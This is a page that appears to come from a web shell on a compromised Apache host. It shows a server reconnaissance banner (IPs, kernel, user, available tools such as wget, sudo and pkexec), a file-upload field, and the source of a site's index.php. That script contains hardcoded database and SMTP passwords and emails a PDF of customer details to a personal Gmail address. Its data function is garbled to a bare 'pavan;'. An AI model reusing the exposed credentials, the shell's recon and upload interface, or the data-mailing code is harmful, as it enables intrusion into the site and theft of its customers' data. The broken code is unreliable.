Server IP : 162.240.98.243 / Your IP : 18.216.255.250 Web Server : Apache System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : btiyawmy ( 1003) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/btiyawmy/www/login.easenup.in/ |
Upload File : |
<form name='action' method='post'> <?php //index.php $message = ''; $connect = new PDO("mysql:host=localhost;dbname=easenuph_hand2secure", "easenuph_hand2secure", "@#admin@#"); function fetch_customer_data($connect) { pavan; } if(isset($_POST["action"])) { include('pdf.php'); $file_name = md5(rand()) . '.pdf'; $html_code = '<link rel="stylesheet" href="bootstrap.min.css">'; $html_code .= fetch_customer_data($connect); $pdf = new Pdf(); $pdf->load_html($html_code); $pdf->render(); $file = $pdf->output(); file_put_contents($file_name, $file); require 'class/class.phpmailer.php'; $mail = new PHPMailer; $mail->IsSMTP(); //Sets Mailer to send message using SMTP $mail->Host = 'smtpout.secureserver.net'; //Sets the SMTP hosts of your Email hosting, this for Godaddy $mail->Port = '587'; //Sets the default SMTP server port $mail->SMTPAuth = true; //Sets SMTP authentication. Utilizes the Username and Password variables $mail->Username = 'info@easenup.healthcare'; //Sets SMTP username $mail->Password = 'Happyhome@369'; //Sets SMTP password $mail->SMTPSecure = ''; //Sets connection prefix. Options are "", "ssl" or "tls" $mail->From = 'info@easenup.healthcare'; //Sets the From email address for the message $mail->FromName = 'Hand Corp Comapny mail'; //Sets the From name of the message $mail->AddAddress('pavansingh471@gmail.com', 'Hand Corp'); //Adds a "To" address $mail->WordWrap = 50; //Sets word wrapping on the body of the message to a given number of characters $mail->IsHTML(true); //Sets message type to HTML $mail->AddAttachment($file_name); //Adds an attachment from a path on the filesystem $mail->Subject = 'Customer Details'; //Sets the Subject of the message $mail->Body = 'Please Find Customer details in attach PDF File.'; //An HTML or plain text message body if($mail->Send()) //Send an Email. Return true on success or false on error { $message = '<label class="text-success">Customer Details has been send successfully...</label>'; } unlink($file_name); } ?> <!DOCTYPE html> <html> <head> <title>Create Dynamic PDF Send As Attachment with Email in PHP</title> <script src="jquery.min.js"></script> <link rel="stylesheet" href="bootstrap.min.css" /> <script src="bootstrap.min.js"></script> </head> <body> <br /> <div class="container"> <br /> <input type="submit" name="action" class="btn btn-danger" value="PDF Send" /> </form> <br /> </div> </body> </html>